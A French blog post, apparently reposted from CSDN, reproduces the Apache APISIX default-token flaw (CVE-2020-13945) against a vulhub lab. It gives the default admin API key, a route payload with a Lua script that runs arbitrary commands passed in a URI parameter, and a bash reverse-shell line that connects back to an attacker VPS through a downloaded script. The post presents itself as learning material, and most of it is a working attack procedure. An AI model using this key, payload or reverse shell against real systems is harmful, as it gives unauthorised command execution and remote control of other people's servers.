Vulnérabilité de clé par défaut Apache apisix (CVE-2020-13945)


Clause de non-responsabilité : cet article est uniquement destiné à l'apprentissage et à la référence. Toutes les ressources impliquées proviennent d'Internet. Veuillez ne pas les utiliser pour des actes illégaux, sinon vous en supporterez vous-même les conséquences correspondantes, et je n'assume aucune responsabilité légale et conjointe et plusieurs passifs.

Description de la vulnérabilité

Apache APISIX est une passerelle API dynamique, en temps réel et hautes performances, implémentée sur la base de la bibliothèque réseau Nginx et etcd, fournissant un équilibrage de charge, un amont dynamique, une version en échelle de gris, un fusible de service, une authentification d'identité, une observabilité et d'autres fonctions de gestion du trafic riches. Lorsque l'utilisateur ouvre l'API Admin, ne configure pas la politique d'accès IP correspondante, et ne modifie pas le fichier de configuration Token, l'attaquant peut utiliser le Token par défaut d'Apache APISIX pour accéder à Apache APISIX, contrôlant ainsi la passerelle APISIX.

Version concernée

Apache APISIX 1.2

Apache APISIX 1.3

Apache APISIX 1.4

Apache APISIX 1.5

Récurrence de la vulnérabilité

L'environnement de vulnérabilité est toujours construit via vulhub, donc je ne le répéterai pas ici.

insérez la description de l'image ici
Visitez http://192.168.10.171:9080/apisix/admin/routes, indiquant que /apisix/admin/routes est activé

insérez la description de l'image ici
Capturez le message et apportez les modifications suivantes

1. Changez la méthode de requête en POST

2. Ajoutez le paramètre X-API-KEY : edd1c9f034335f136f87ad84b625c8f1

3. Ajouter une charge utile

{
    
    
    "uri": "/attack",
"script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close()  \n end \nreturn _M",
    "upstream": {
    
    
        "type": "roundrobin",
        "nodes": {
    
    
            "example.com:80": 1
        }
    }
}

insérez la description de l'image ici
Ensuite, accédez au routeur que vous venez d'ajouter et exécutez n'importe quelle commande via le paramètre cmd

insérez la description de l'image ici
Ensuite, montrons la connexion inverse de ce serveur sur l'intranet au VPS

Tout d'abord, écrivez un script shell de rebond bash -i >& /dev/tcp/VPS_IP/VPS_PORT 0>&1 sur le VPS, puis utilisez python pour démarrer un service http : python3 -m http.server

insérez la description de l'image ici
Télécharger le fichier de script test.sh

insérez la description de l'image ici
Ensuite, exécutez le fichier de script test.sh

insérez la description de l'image ici

Voir les résultats de rebond sur VPS

insérez la description de l'image ici

Je suppose que tu aimes

Origine blog.csdn.net/guo15890025019/article/details/129461063
conseillé
Classement